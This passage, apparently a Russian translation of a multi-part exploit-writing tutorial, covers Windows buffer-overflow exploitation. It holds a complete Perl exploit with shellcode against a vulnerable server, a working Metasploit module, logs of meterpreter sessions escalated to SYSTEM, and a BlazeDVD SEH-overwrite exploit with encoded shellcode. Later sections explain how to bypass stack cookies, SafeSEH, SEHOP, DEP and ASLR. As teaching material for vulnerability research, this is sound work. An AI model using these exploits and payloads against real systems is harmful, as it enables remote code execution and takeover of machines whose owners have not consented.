"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";

my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$shellcode."\n";
print "[+] Payload sent\n";
print "[+] Attempting to telnet to $host on port 5555...\n";
system("telnet $host 5555");
close SOCKET or die "close: $!";
```

Эксплойт успешно открывает командную оболочку:

```
root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200
 ------------------------------------
     Writing Buffer Overflows
       Peter Van Eeckhoutte
     http://www.corelan.be:8800
 ------------------------------------
    Exploit for vulnserver.c
 ------------------------------------
[+] Setting up socket
[+] Connecting to 192.168.24.3 on port 200
[+] Sending payload
[+] Payload sent
[+] Attempting to telnet to 192.168.24.3 on port 5555...
Trying 192.168.24.3...
Connected to 192.168.24.3.
Escape character is '^]'.
```

```
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\vulnserver\lcc>whoami
whoami
win2003-01\administrator
```

Важнейшие параметры:

• Смещение адреса возврата — 504.
• Адрес перехода для английской Windows Server 2003 R2 SP2 — `0x71C02B67`.
• Шелл-код не должен содержать `0x00` или `0xff`.
• Для шелл-кода доступно около 1400 байт.

В английской Windows XP SP3 смещение то же, но адрес перехода нужно изменить, например на `0x7C874413`. Создадим модуль Metasploit с обеими целями.

Преобразование эксплойта в Metasploit

Сначала определите тип эксплойта: от него зависит место в структуре каталогов Metasploit. Например, эксплойт FTP-сервера Windows относится к эксплойтам FTP-серверов Windows.

Модули находятся в `framework3/modules/exploits` и организованы сначала по ОС, затем по службе. Наш сервер работает в Windows, но не относится к конкретной службе, поэтому поместим модуль в `windows/misc`:

```
root@backtrack4:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc
root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rb

# Custom Metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Custom vulnerable server stack overflow',
      'Description' => %q{
        This module exploits a stack overflow in a custom vulnerable server.
      },
      'Author'      => [ 'Peter Van Eeckhoutte' ],
      'Version'     => '$Revision: 9999 $',
      'DefaultOptions' => {
        'EXITFUNC' => 'process',
      },
      'Payload' => {
        'Space'    => 1400,
        'BadChars' => "\x00\xff",
      },
      'Platform' => 'win',
      'Targets' => [
        ['Windows XP SP3 En',
          { 'Ret' => 0x7c874413, 'Offset' => 504 } ],
        ['Windows 2003 Server R2 SP2',
          { 'Ret' => 0x71c02b67, 'Offset' => 504 } ],
      ],
      'DefaultTarget' => 0,
      'Privileged'    => false
    ))

    register_options(
      [ Opt::RPORT(200) ], self.class
```

```
    )
  end

  def exploit
    connect

    junk = make_nops(target['Offset'])
    sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
    sock.put(sploit)

    handler
    disconnect
  end
end
```

Модуль состоит из:

• `require 'msf/core'`, используемого всеми эксплойтами Metasploit.
• Класса-наследника `Msf::Exploit::Remote`.
• `Msf::Exploit::Remote::Tcp`, предоставляющего обычное TCP-соединение. В Metasploit есть обработчики HTTP, FTP и других протоколов.
• Параметров нагрузки с доступным пространством и недопустимыми символами.
• Целей со специфичными адресами возврата и смещениями.
• Метода `exploit`, который подключается, создаёт и отправляет буфер, запускает обработчик и отключается.

Откройте `msfconsole`. Синтаксические ошибки модуля выводятся при загрузке консоли. Если `msfconsole` уже работает, перезапустите её перед использованием нового или изменённого модуля.

Проверка эксплойта

Проверка 1: Windows XP SP3

```
root@backtrack4:/pentest/exploits/framework3# ./msfconsole

       =[ msf v3.3-dev
+ -- --=[ 395 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 187 aux

msf > use windows/misc/custom_vulnserver
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  200              yes       The target port

Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 En

msf exploit(custom_vulnserver) > set rhost 192.168.24.10
rhost => 192.168.24.10
msf exploit(custom_vulnserver) > show targets
Exploit targets:
```

```
   Id  Name
   --  ----
   0   Windows XP SP3 En
   1   Windows 2003 Server R2 SP2

msf exploit(custom_vulnserver) > set target 0
target => 0
msf exploit(custom_vulnserver) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.24.1:42150 -> 192.168.24.10:4444)

meterpreter > sysinfo
Computer: SPLOITBUILDER1
OS      : Windows XP (Build 2600, Service Pack 3).
```

Проверка 2: Windows Server 2003 R2 SP2

Продолжение проверки Windows XP:

```
meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(custom_vulnserver) > set rhost 192.168.24.3
rhost => 192.168.24.3
msf exploit(custom_vulnserver) > set target 1
target => 1
msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 2 opened (192.168.24.1:56109 -> 192.168.24.3:4444)

meterpreter > sysinfo
Computer: WIN2003-01
OS      : Windows .NET Server (Build 3790, Service Pack 2).

meterpreter > getuid
Server username: WIN2003-01\Administrator
meterpreter > ps

Process list
============

    PID   Name               Path
    ---   ----               ----
    300   smss.exe           \SystemRoot\System32\smss.exe
    372   winlogon.exe       \??\C:\WINDOWS\system32\winlogon.exe
    396   Explorer.EXE       C:\WINDOWS\Explorer.EXE
    420   services.exe       C:\WINDOWS\system32\services.exe
    424   ctfmon.exe         C:\WINDOWS\system32\ctfmon.exe
    432   lsass.exe          C:\WINDOWS\system32\lsass.exe
    652   svchost.exe        C:\WINDOWS\system32\svchost.exe
    832   svchost.exe        C:\WINDOWS\System32\svchost.exe
    996   spoolsv.exe        C:\WINDOWS\system32\spoolsv.exe
    1132  svchost.exe        C:\WINDOWS\System32\svchost.exe
    1392  dllhost.exe        C:\WINDOWS\system32\dllhost.exe
    1580  svchost.exe        C:\WINDOWS\System32\svchost.exe
    1600  svchost.exe        C:\WINDOWS\System32\svchost.exe
    2352  cmd.exe            C:\WINDOWS\system32\cmd.exe
    2888  vulnserver.exe     C:\vulnserver\lcc\vulnserver.exe

meterpreter > migrate 996
```

```
[*] Migrating to 996...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Готово!

Дополнительные сведения об API Metasploit

Сведения об API Metasploit и доступных классах находятся в архивной документации API Metasploit.

Теперь создавайте собственные эксплойты, добавляйте в них немного l33t-лексики и не забывайте передавать привет corelanc0d3r.

Учебное руководство по написанию эксплойтов, часть 5: как модули и плагины отладчиков ускоряют базовую разработку эксплойтов

corelanc0d3r, 2009-09-05

В первых частях этой серии для проверки регистров и содержимого стека при анализе сбоев и создании эксплойтов в основном использовался WinDBG. В этой статье рассматриваются другие отладчики и плагины, способные ускорить ту же работу.

Типичный набор инструментов для разработки эксплойтов должен содержать как минимум:

• WinDBG и справочник по командам WinDBG.
• OllyDbg.
• Immunity Debugger и Python.
• Metasploit.
• PyDbg для создания собственных отладчиков на Python.
• Язык сценариев, например Perl или Python.

Расширение MSEC для WinDBG от Microsoft умеет анализировать сбой и оценивать возможность его эксплуатации. Оно полезно для первого впечатления, но никогда не заменяет ручную проверку регистров, данных стека и возможного управления выполнением.

Byakugan: введение, pattern_offset и searchOpcode

У WinDBG есть инфраструктура расширений, подобная системе плагинов OllyDbg. Пакет Byakugan из Metasploit содержит `byakugan.dll`, `injectsu.dll` и `detoured.dll`. Поместите первые два файла в каталог приложения WinDBG, а `detoured.dll` — в `C:\Windows\System32`.

Byakugan предоставляет следующие компоненты:

• `jutsu`: поиск и отслеживание буферов, определение контролируемой памяти при сбое и поиск адресов возврата.
• `pattern_offset`: поиск смещений в циклическом шаблоне.
• `mushishi`: обнаружение и обход методов защиты от отладки.
• `tenketsu`: эмуляция и визуализация кучи Vista.

`injectsu.dll` перехватывает API целевого приложения и создаёт поток обратного канала, соединённый с отладчиком. Библиотека Microsoft `detoured.dll` предоставляет перехватывающие трамплины, отслеживает перехваченные функции и корректирует трамплины функций.

Загрузите Byakugan:

```
0:000> !load byakugan
[Byakugan] Successfully loaded!
```

Компонент Jutsu включает:

• `identBuf`, `listBuf` и `rmBuf` для поиска в памяти ASCII-строк, циклических шаблонов или данных файла.
• `memDiff` для сравнения памяти с шаблоном и обнаружения изменённых байтов или недопустимых символов.
• `hunt`.

• `findReturn` для поиска подходящих путей возврата.
• `searchOpcode` для ассемблирования инструкций и поиска их экземпляров в исполняемой памяти.
• `searchVtptr`.
• `trackVal`.

Практический пример BlazeDVD

Мы воспользуемся переполнением стека в BlazeDVD 5.1 Professional и Blaze HDTV Player 6.0. Сбой вызывается некорректным файлом PLF. Вместо того чтобы начинать с символов `A`, сразу создадим 1000-символьный шаблон Metasploit:

```
peter@sploitbuilder1 ~/framework-3.2/tools $ ./pattern_create.rb 1000 > blazecrash.plf
```

Запустите BlazeDVD под WinDBG, продолжите выполнение после точек останова при запуске и откройте файл. При сбое в EIP оказывается значение из шаблона:

```
(5b0.894): Access violation - code c0000005 (first chance)
eax=00000001 ebx=77f6c19c ecx=062ddcd8 edx=00000042
esi=01f61c20 edi=6405569c eip=37694136 esp=0012f470 ebp=01f61e60
```

Загрузите Byakugan и запросите смещения:

```
0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !pattern_offset 1000
[Byakugan] Control of ecx at offset 612.
[Byakugan] Control of eip at offset 612.
```

Один сбой одновременно подтверждает переполнение и определяет смещение. Всегда проверяйте цепочку исключений, прежде чем предполагать прямую перезапись RET:

```
0:000> !exchain
0012afe4: ntdll!ExecuteHandler2+3a (7c9032bc)
0012f5b8: <Unloaded_ionInfo.dll>+41347540 (41347541)
Invalid exception stack at 33754132
```

Перед нами перезапись SEH. Позиция 612, указанная инструментом, соответствует SEH, поэтому next SEH начинается на четыре байта раньше — со смещения 608. Стандартная полезная нагрузка имеет вид `[мусор][переход][pop pop ret][шелл-код]`. Здесь мы выполняем переход на 30 байт и добавляем перед шелл-кодом 30 инструкций NOP.

Найдём `pop esi; pop ebx; ret`:

```
0:000> !jutsu searchOpcode pop esi | pop ebx | ret
[J] Searching for:
 > pop esi
 > pop ebx
 > ret
[J] Machine Code:
 > 5e 5b c3
[J] Executable opcode sequence found at: 0x05942a99
[J] Executable opcode sequence found at: 0x05945425
[J] Executable opcode sequence found at: 0x1000467f
[J] Executable opcode sequence found at: 0x100064c7
[J] Executable opcode sequence found at: 0x640246f7
```

Выберите адрес в исполняемом модуле BlazeDVD. Для английской Windows XP SP3 подходит `0x640246f7`:

```
0:000> u 0x640246f7
MediaPlayerCtrl!DllCreateObject+0x153e7:
640246f7 5e  pop esi
640246f8 5b  pop ebx
640246f9 c3  ret
```

Структура эксплойта выглядит так:

```
my $sploitfile = "blazesploit.plf";
my $junk = "A" x 608;
my $nseh = "\xeb\x1e\x90\x90";       # Jump 30 bytes.
my $seh = pack('V', 0x640246f7);       # pop esi; pop ebx; ret.
my $nops = "\x90" x 30;

# Full 302-byte windows/exec payload,
# x86/alpha_upper encoded with EXITFUNC=seh and CMD=calc.
my $shellcode =
"\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";
my $payload = $junk.$nseh.$seh.$nops.$shellcode;

open(myfile, ">$sploitfile");
print myfile $payload;
close(myfile);
```

Плагины OllyDbg

На OpenRCE была размещена большая коллекция плагинов OllyDbg. Один из наиболее полезных для разработки эксплойтов — OllySSEH: он проверяет загруженные модули и сообщает, были ли они скомпилированы с `/SafeSEH`. OllyDbg должен быть присоединён к процессу, поскольку проверка выполняется по загруженной памяти.

При наличии уязвимости SEH используйте плагин, чтобы определить модули без SafeSEH, а затем ограничьте поиск `pop pop ret` их диапазонами адресов.

Список исполняемых модулей:

Состояние SafeSEH этих модулей:

Ищите **No SEH** или, что предпочтительнее, **/SafeSEH OFF**. Чтобы изучить `MediaPlayerCtrl.dll`, вернитесь к списку исполняемых модулей и дважды щёлкните модуль:

Щёлкните правой кнопкой мыши и выберите **Search for > Sequence of commands**. Например, найдите `pop eax`, ещё одну инструкцию `pop` и `ret`:

Перебирайте сочетания регистров, пока не найдётся подходящее. `findjmp.exe` работает быстрее, поскольку нужно указать только первый регистр, а второй он перебирает автоматически. Тем не менее OllySSEH экономит значительное время, сначала определяя надёжные диапазоны модулей.

Плагины и PyCommands для Immunity Debugger

В Immunity Debugger входит множество плагинов, а среди дополнительных PyCommands есть `findtrampoline`, `aslrdynamicbase`, `funcdump`, `nsearch` и `pvefindaddr`. Скопируйте загруженные файлы `.py` в каталог `PyCommands`.

Immunity также предоставляет псевдонимы для многих команд WinDBG, объединяя сценарии Python со знакомым набором команд.

findtrampoline

Для прямых переполнений стека `findtrampoline` похож на `findjmp` и `msfpescan`. Он ищет `jmp <reg>`, `call <reg>` и `push <reg>; ret`, однако не ищет `pop pop ret`.

Откройте окно PyCommand и выберите команду:

Дважды щёлкните её, укажите целевой регистр и запустите поиск:

Команда проверит все загруженные модули и сообщит количество найденных совпадений:

Команду также можно вызвать из командной строки:

```
!findtrampoline esp
```

Команда ищет варианты `jmp`, `call` и `push; ret`. Откройте **Log data**, чтобы изучить результаты:

Дважды щёлкните адрес и откройте окно CPU, чтобы изучить инструкцию:

Команда `!searchcode` позволяет искать конкретную инструкцию, например `jmp esp`, показывая адрес, модуль и признак исполняемости страницы:

`findtrampoline` удобнее, когда нужно рассмотреть все подходящие разновидности трамплинов.

aslrdynamicbase

`aslrdynamicbase` выводит загруженные модули и указывает, поддерживает ли каждый из них ASLR в Windows Vista и Server 2008. Если стабильный адрес должен сохраняться после перезагрузки, выбирайте адрес возврата из исполняемого файла или DLL без ASLR. От этого может зависеть, будет ли эксплойт надёжным или сработает лишь один раз.

pvefindaddr

`pvefindaddr` — мой собственный PyCommand. Даже эта ранняя версия поддерживает несколько полезных операций:

• `p`: находит все сочетания `pop pop ret` и автоматически исключает модули SafeSEH. Необязательный регистр сужает набор сочетаний; необязательный модуль ограничивает поиск, даже если в нём используется SafeSEH.
• `j`: находит сочетания `jmp`, `call` и `push; ret` для регистра, при необходимости только в одном модуле.
• `jseh`: находит последовательности, пригодные для обхода SafeSEH.
• `nosafeseh`: выводит загруженные модули, не защищённые SafeSEH.

Запустите PyCommand без аргументов и изучите синтаксис в окне **Log data**:

Некоторые команды при вызове без параметров открывают мастер, а другие могут вызвать исключение. В Immunity также есть сценарии для работы с кучей, которые выходят за рамки этой статьи.

Другие полезные команды Immunity

Команда `!packets` перехватывает сетевой трафик и определяет функцию, отвечающую за его отправку или приём. Присоедините Immunity к Firefox, выполните `!packets`, продолжите выполнение и откройте какой-нибудь сайт. Перехваченные пакеты появятся в отдельном окне:

Команда `!safeseh` выводит исполняемые модули и их состояние SafeSEH. После её запуска откройте **Log data**:

Удачной охоты!

Учебное руководство по написанию эксплойтов, часть 6: обход cookie стека, SafeSEH, SEHOP, аппаратной DEP и ASLR

corelanc0d3r, 2009-09-21

Введение

В предыдущих руководствах создавались эксплойты для Windows XP и Windows Server 2003 с использованием стабильных адресов возврата или `POP POP RET` из модулей приложения и ОС. Современные Windows и компиляторы добавляют механизмы защиты, делающие эти предположения менее надёжными:

• Cookie стека через параметр компилятора `/GS`.
• SafeSEH через параметр компоновщика `/SAFESEH`.
• Structured Exception Handler Overwrite Protection (SEHOP).
• Программное и аппаратное предотвращение выполнения данных (DEP).
• Рандомизация адресного пространства (ASLR).

Глава объясняет действие каждого механизма и показывает условия, в которых уязвимые программы всё ещё можно эксплуатировать.

> Техники предназначены для исследования уязвимостей и обучения. Проверяйте только собственные системы или системы, на оценку которых дано явное разрешение.

Защита cookie стека /GS

При запуске защищённого процесса вычисляется общий четырёхбайтовый cookie, который хранится в доступной для записи секции `.data` модуля. Защищённая функция копирует производное от него значение в кадр стека между локальными буферами и управляющими данными.

В эпилоге сохранённое значение сравнивается с ожидаемым cookie. Последовательное переполнение до адреса возврата сначала перезаписывает cookie; несоответствие обнаруживается до `RET`, и процесс завершается.

Для снижения затрат компилятор защищает функции с подходящими строковыми буферами или `_alloca`. Малые буферы и некоторые массивы целых чисел или указателей могут остаться без cookie. `/GS` также меняет порядок локальных переменных, чтобы уязвимые буферы при прямом переполнении реже повреждали другие локальные данные и аргументы.

Способы обхода cookie стека

Возможные слабости зависят от программы и вывода компилятора:

• Вызвать исключение и получить управление через перезаписанную запись SEH до проверки cookie.
• Произвольной записью заменить и главный cookie в `.data`, и копию в стеке.
• Нацелиться на буфер или тип данных, который компилятор не защитил.
• Повредить объекты в кадре вызывающей функции, включая указатель объекта или vtable, используемые до возврата защищённой функции.
• Вычислить cookie с недостаточной энтропией.
• Повторно использовать статичный в целевом окружении cookie.

Обход через обработку исключений

`/GS` сам по себе не защищает регистрационные записи исключений в стеке. Если переполнение достигает записи SEH, а последующая операция вызывает исключение до эпилога, диспетчеризация может начаться до проверки cookie.

При этом нужно удовлетворить или обойти защиту SEH. Классическая запись направляет обработчик на `POP POP RET`, а `nSEH` содержит короткий переход. В зависимости от регистров возможны варианты:

```
CALL DWORD PTR [ESP+offset]
CALL DWORD PTR [EBP+offset]
JMP  DWORD PTR [ESP+offset]
JMP  DWORD PTR [EBP+offset]
ADD ESP,8 / RET
```

Исторические команды `pvefindaddr jseh` и `jseh all` помогают искать такие последовательности.

Замена cookie

Если уязвимость даёт контролируемую четырёхбайтовую запись, эксплойт может заменить главный cookie в `.data` и записать то же значение в текущий кадр. Это значительно сильнее обычного последовательного переполнения: нужно управлять и адресом, и значением.

Незащищённые буферы и данные вызывающей функции

Эвристики компилятора защищают не каждый локальный объект. Массивы указателей или чисел и малые буферы могут пропускаться. Полезными целями остаются объекты вызывающей функции: повреждение объекта и его vtable может передать управление при виртуальном вызове до текущей проверки cookie.

Отладка защиты cookie стека

Скомпилируйте простую уязвимую консольную программу в Visual C++ 2008 с `/GS` и без него. Функция с небезопасным копированием в защищённой сборке получает дополнительные инструкции пролога и эпилога.

Типичный защищённый пролог:

```
mov eax,dword ptr [__security_cookie]
xor eax,ebp
mov dword ptr [ebp-4],eax
```

Эпилог отменяет преобразование кадра и вызывает проверку:

```
mov ecx,dword ptr [ebp-4]
xor ecx,ebp
call __security_check_cookie
```

Демонстрация 1: обработка исключений

Пример `basicbof.cpp` содержит уязвимый `strcpy` в `GetInput`. После копирования в локальный буфер повреждённые данные снова копируются в меньший выходной буфер. Функция также устанавливает обработчик исключения приложения.

```
#include <stdio.h>
#include <string.h>

void GetInput(char *str, char *out) {
    char buffer[500];

    __try {
        strcpy(buffer, str);
        strcpy(out, buffer);
    }
    __except (1) {
        printf("Invalid input\n");
    }
}

int main(int argc, char **argv) {
    char out[128];
    GetInput(argv[1], out);
    return 0;
}
```

Без `/GS` и обработчика длинный аргумент вызывает обычную перезапись сохранённого адреса возврата.

С обработчиком первое копирование перезаписывает регистрационную запись исключения. Второе выходит за пределы назначения и вызывает нарушение доступа до возврата функции.

Установка обработчика

При входе пролог сохраняет предыдущий указатель кадра и связывает новую запись исключения через `FS:[0]`. Запись содержит указатель на предыдущую регистрацию и процедуру обработчика.

```
[ higher addresses ]
function arguments
return address
saved EBP
SE handler address
next SEH / previous registration
local data
[ lower addresses ]
```

Второе копирование достигает недоступной страницы. В этот момент используется повреждённая цепочка SEH, а эпилог `/GS` ещё не выполнялся.

Использование SEH до проверки cookie

Пересоберите с `/GS`. Прямая перезапись возврата предотвращается, но исключение всё ещё возникает при активном повреждённом обработчике. Если удалить второе копирование, раннего исключения не будет, функция дойдёт до эпилога, и защита cookie снова сработает.

Вывод узок, но важен: cookie можно обойти, когда уязвимый код после повреждения SEH вызывает исключение до проверки cookie. Практический эксплойт должен дополнительно справиться с SafeSEH и последующей защитой SEH.

Демонстрация 2: вызов виртуальной функции

Другой класс обхода повреждает объект или указатель vtable вызывающей функции. Если программа вызывает виртуальную функцию до возврата защищённой функции, проверка cookie ещё не выполнялась.

Демонстрация по исследованию Алекса Сотирова и Марка Дауда размещает объект рядом с уязвимыми данными. Переполнение заменяет его указатель vtable контролируемым адресом. Последующий виртуальный вызов разыменовывает поддельную таблицу и перенаправляет выполнение.

SafeSEH

Модули, скомпонованные с `/SAFESEH`, содержат таблицу допустимых точек входа обработчиков. При диспетчеризации Windows проверяет адрес обработчика, если он принадлежит такому модулю. Перезаписанный адрес вне таблицы отклоняется.

SafeSEH защищает выбор обработчика, а не стек. Классические обходы используют одно из условий:

- Загруженный модуль собран без SafeSEH и содержит нужную последовательность.
- Адрес находится вне диапазонов всех модулей, и таблицы SafeSEH к нему не применяются.
- Логика приложения или отдельный примитив повреждения предоставляет другой путь управления.

Адрес вне загруженных модулей

Отобразите модули и найдите незанятые исполняемые области. Кандидат должен оставаться отображённым и исполняемым, содержать нужную последовательность, избегать недопустимых символов и быть стабильным.

```
!pvefindaddr nosafeseh
!pvefindaddr jseh
```

SEHOP

SEHOP проверяет целостность цепочки обработчиков до диспетчеризации. Он обходит регистрации и ожидает завершения системным финальным обработчиком. Простая перезапись с разрушением цепочки отклоняется, даже если непосредственный обработчик прошёл бы SafeSEH.

Обход SEHOP обычно требует восстановить правдоподобную цепочку с терминатором, совместимым с процессом и ОС. Это отличается от SafeSEH: SafeSEH проверяет адреса обработчиков, SEHOP — структуру цепочки.

Предотвращение выполнения данных

DEP помечает страницы данных, включая стек и кучу, неисполняемыми. Аппаратная DEP использует бит NX/XD процессора. Переход `EIP` прямо в шелл-код неисполняемого стека вызывает нарушение доступа.

Стратегии обхода DEP

Исторические подходы:

- Возврат в библиотечный код, выполняющий действие без внедрённого кода.
- Вызов `ZwProtectVirtualMemory` или родственного API для исполняемости страницы нагрузки.
- Вызов `NtSetInformationProcess` для изменения политики выполнения там, где путь доступен.
- Цепочка существующих инструкций, подготавливающая аргументы и возвращающаяся в нагрузку.

Отключение DEP в Windows XP / Server 2003 SP1

В примере уязвимой службы сохранённый `EIP` перезаписывается после 508 байт. Процесс содержит внутренние пути `ntdll`, вызывающие `ZwSetInformationProcess` с классом политики выполнения.

Историческая вспомогательная команда `pvefindaddr` ищет адреса:

```
!pvefindaddr findantidep
```

Предложенный стек — только начало. Создавайте его по одному адресу и проверяйте регистры после каждого возврата.

Начните с диагностического буфера:

```
[A x 508]
[0x7c95371a]
[BBBB]
```

```
[CCCC]
[D x 54]
[EEEE]
[F x 700]
```

Первая последовательность устанавливает младший байт EAX в 1 и возвращается в BBBB. Следующему этапу нужна доступная запись по [EBP-4]; неконтролируемый EBP вызывает нарушение доступа.

Добавьте последовательность вроде PUSH ESP / POP EBP / RET, чтобы EBP указывал возле контролируемого стека. Продолжайте добавлять внутренние вызовы и возвраты, пока политика не изменится и выполнение не вернётся к нагрузке.

Итоговая структура концептуально:

```
[padding to saved EIP]
[adjust EBP]
[set EAX policy value]
[internal ntdll policy path]
[controlled continuation]
[NOP landing area]
[shellcode]
```

Цепочка работает и при отключённой аппаратной DEP, поскольку возвращается к той же нагрузке.

Отключение DEP в Windows Server 2003 SP2

Server 2003 SP2 добавляет проверки, требующие подходящих доступных для записи адресов в EBP и ESI. В показанном окружении:

```
0x71c0db30  PUSH ESP / POP ESI / RET
0x77c177f8  PUSH ESP / POP EBP / RET
```

Установите точку останова в соответствующем пути ntdll!LdrpCheckNXCompatibility и трассируйте цепочку. Порядок настройки регистров важен, поскольку эпилог позднее восстанавливает и использует ESI как продолжение.

После перестановки настройки EBP и ESI управление достигает маркера GGGG. EDX указывает рядом с концом нагрузки, поэтому стабильный JMP EDX достигает размещённого там короткого обратного перехода.

```
[JMP EDX]
[10 NOPs]
[shellcode]
[NOP padding until EDX target]
[backward jump into the landing area]
```

Обход DEP в SEH-эксплойтах

При переполнении SEH поле nSEH может содержать первый адрес цепочки обхода DEP вместо исполняемых байтов перехода. Обработчик должен развернуть стек, например редкой последовательностью:

```
POP reg
POP reg
```

```
POP ESP
RET
```

`POP ESP` переключает стек на контролируемую запись исключения, а `RET` начинает цепочку обхода.

Защита ASLR

ASLR рандомизирует исполняемые образы, DLL, стеки и кучи. В рассматриваемых Windows адреса образов выбираются при загрузке из конечного набора слотов. Несистемные образы участвуют при `/DYNAMICBASE` и наличии данных перемещения.

Историческое значение реестра `MoveImages` по пути:

```
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
```

управляет рандомизацией образов:

• `0`: учитывать предпочтительные базы.
• `-1`: рандомизировать все перемещаемые образы.
• Другие значения: рандомизировать перемещаемые образы с `IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE`.

ASLR и DEP сильнее вместе. ASLR скрывает гаджеты и трамплины, а DEP не позволяет выполнить внедрённые байты после получения управления.

Частичная перезапись EIP

Иногда между загрузками меняются лишь старшие байты сохранённого адреса кода. Если уязвимое копирование заменяет только младшие, уже присутствующие в стеке рандомизированные старшие байты можно сохранить.

Для адреса `0x12345678` память содержит:

```
78 56 34 12
```

Если ASLR меняет `0x1234`, но полезная инструкция есть в той же области `0x1234xxxx`, перезапись только `0x5678` перенаправляет выполнение без знания старших байтов.

Техника жёстко ограничена. Инструкция передачи должна находиться в достижимом диапазоне младших адресов, а завершение строки не должно перезаписать сохраняемые старшие байты. В показанной сборке `vulnsrv` нужной инструкции нет.

Модуль без ASLR

